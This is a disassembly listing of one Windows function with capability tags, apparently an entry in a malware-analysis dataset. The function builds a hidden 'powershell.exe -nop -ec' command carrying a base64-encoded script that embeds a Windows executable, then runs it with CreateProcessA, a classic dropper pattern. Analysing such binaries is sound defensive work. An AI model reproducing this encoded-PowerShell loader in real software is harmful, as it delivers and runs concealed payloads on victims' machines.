Function at 0x140001450
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x100
lea rbp, [rsp + 0x80]
call fcn.1400016c0
lea rax, str.powershell.exe__nop__ec
mov qword [rbp + 0x78], rax
lea rax, str.JABiAGkAbgAgAD0AIAAiAFQAVgBxAFEAQQBBAE0AQQBBAEEAQQBFAEEAQQBBAEEALwAvADgAQQBBAEwAZwBBAEEAQQBBAEEAQQBBAEEAQQBRAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBnAEEAQQBBAEEAQQA0AGYAdQBnADQAQQB0AEEAbgBOAEkAYgBnAEIAVABNADAAaABWAEcAaABwAGMAeQBCAHcAYwBtADkAbgBjAG0ARgB0AEkARwBOAGgAYgBtADUAdgBkAEMAQgBpAFoAUwBCAHkAZABXADQAZwBhAFcANABnAFIARQA5AFQASQBHADEAdgBaAEcAVQB1AEQAUQAwAEsASgBBAEEAQQBBAEEAQQBBAEEAQQBCAFEAUgBRAEEAQQBaAEkAWQBDAEEASgB3AHgAcABKADQAQQBBAEEAQQBBAEEAQQBBAEEAQQBQAEEAQQBJAGcAQQBMAEEAagBBAEEAQQBBAGcAQQBBAEEAQQBHAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAGcAQQBBAEEAQQBBAEEAQgBBAEEAUQBBAEEAQQBBAEEAZwBBAEEAQQBBAEEAZwBBAEEAQgBBAEEAQQBBAEEAQQBBAEEAQQBBAEcAQQBBAEEAQQBBAEEAQQBBAEEAQQBCAGcAQQBBAEEAQQBBAGcAQQBBAEEAQQBBAEEAQQBBAE0AQQBZAEkAVQBBAEEARQBBAEEAQQBBAEEAQQBBAEEAQgBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBRAEEAQQBBAEEAQQBBAEEA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BCAEkAQQBBAEEAQQBFAEEA
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x78]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov ebx, eax
mov rax, qword [rbp + 0x70]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add eax, ebx
add eax, 1
mov dword [rbp + 0x6c], eax
mov eax, dword [rbp + 0x6c]
cdqe
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp + 0x60], rax
cmp qword [rbp + 0x60], 0
jne 0x1400014ec
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x19
mov edx, 1
lea rax, str.Memory_allocation_failed_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov eax, 1
jmp 0x1400015fc
mov eax, dword [rbp + 0x6c]
movsxd rdx, eax
mov r8, qword [rbp + 0x78]
mov rax, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, r8
lea r8, str._s_s
mov rcx, rax
call fcn.1400026f0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
mov rax, qword [rbp + 0x60]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x1400015c0
mov rax, qword [rbp + 0x40]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400015eb
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x19
mov edx, 1
lea rax, str.Failed_to_create_process_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rax, qword [rbp + 0x60]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, 0
add rsp, 0x100
pop rbx
pop rdi
pop rbp
ret